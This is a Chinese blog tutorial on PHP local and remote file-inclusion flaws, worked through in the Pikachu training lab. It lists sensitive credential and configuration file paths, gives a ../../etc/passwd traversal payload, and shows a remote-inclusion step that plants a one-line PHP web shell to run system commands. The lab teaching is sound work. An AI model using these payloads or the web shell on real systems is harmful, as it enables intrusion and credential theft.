文件包含漏洞


0X00:前言

web安全之文件包含漏洞,本地包含漏洞和遠程包含漏洞,主要原因是后端沒有對前端傳來的文件名進行限制,前端用戶可以隨意修改文件名,本后端執行。

文件包含函數加載的參數沒有經過過濾或者嚴格的定義,可以被用戶控制,包含其他惡意文件,導致了執行了非預期的代碼

 

產生背景:開發過程中,多個文件都會用到的代碼,通常會放到一個單獨的文件中,用到時再包含進來。當把包含的文件寫死在程序中時,該漏洞是不存在的,但很多情況都會動態的去包含所需的文件,這時候則會產生文件包含漏洞

 

本地包含就是文件名為本地的一些秘密文件(如/etc/password)

遠程文件包含,是PHP的配置文件allow_url_fopen和allow_url_include設置為ON,include/require等包含函數可以加載遠程文件,執行攻擊者服務器上的惡意腳本

 

include和require語句相同,除了錯誤處理方法方面:

-include 只會生成警告(E_WARNING),並且腳本會繼續

-require 會生成致命錯誤(E_COMPILE_ERROR)並停止腳本

include_once:和 include 類似,不同處在於 include_once 會檢查這個文件是否已經被導入,如果已導入,下文便不會再導入,直面 once 理解就是只導入一次

require_once:和 require 類似,不同處在於 require_once 只導入一次

 

0X01:本地文件包含

(1)常見敏感路徑

測試環境pikachu

 

Windows系統

c:\boot.ini // 查看系統版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存儲Windows系統初次安裝的密碼

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼

c:\windows\php.ini // php 配置信息

Linux/Unix系統

/etc/passwd // 賬戶信息

/etc/shadow // 賬戶密碼文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默認配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置

/usr/local/app/php5/lib/php.ini // PHP相關配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

(2)

 

 url:http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename=file3.php&submit=%E6%8F%90%E4%BA%A4

發現改變的是filename參數

后端代碼

if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";//變量傳進來直接包含,沒做任何的安全限制
// //安全的寫法,使用白名單,嚴格指定包含的文件名
// if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
// include "include/$filename";
// }
}

變量傳進來直接包含,沒做任何的安全限制

將filename換成../../../../etc/passwd  liunx后台固定配置文件;../../../../../是目錄跳轉

對應的windows可以換成其他文件

 

小彩蛋file6

 

0X02:遠程文件包含

(1)

allow_url_fopen = On(默認打開)

allow_url_include = On(默認關閉)

到php.ini中打開,實際情況應該測試站點自己打開,或者強制打開

 

(2)在遠程站點設置攻擊腳本

 

目的是 在測試站點目錄下生成一個yijuhua.php,內容是<?php system($_GET[x]);?>

正常頁面

(3)將filename=http://127.0.0.1/pikachu-master/test/yijuhua.txt之前:

(4)將filename=http://127.0.0.1/pikachu-master/test/yijuhua.txt之后:

 

OK目錄中出現了yijuhua.php,攻擊成功

 

(5)如何利用呢

pikachu-master/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/pikachu-master/test/yijuhua.txt&submit=提交

一般情況下和fi_remote.php在同一個目錄

 

 

yijuhua.php?x=dir

x可以是其他命令ipconfig等等

0Xff:總結

https://www.freebuf.com/articles/web/182280.html這里有篇文章,本地包含里講了好多種,有的我學了之后在補充上。

我覺得文件包含漏洞一般用來收集信息、上傳一句話木馬等,還缺乏實踐。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM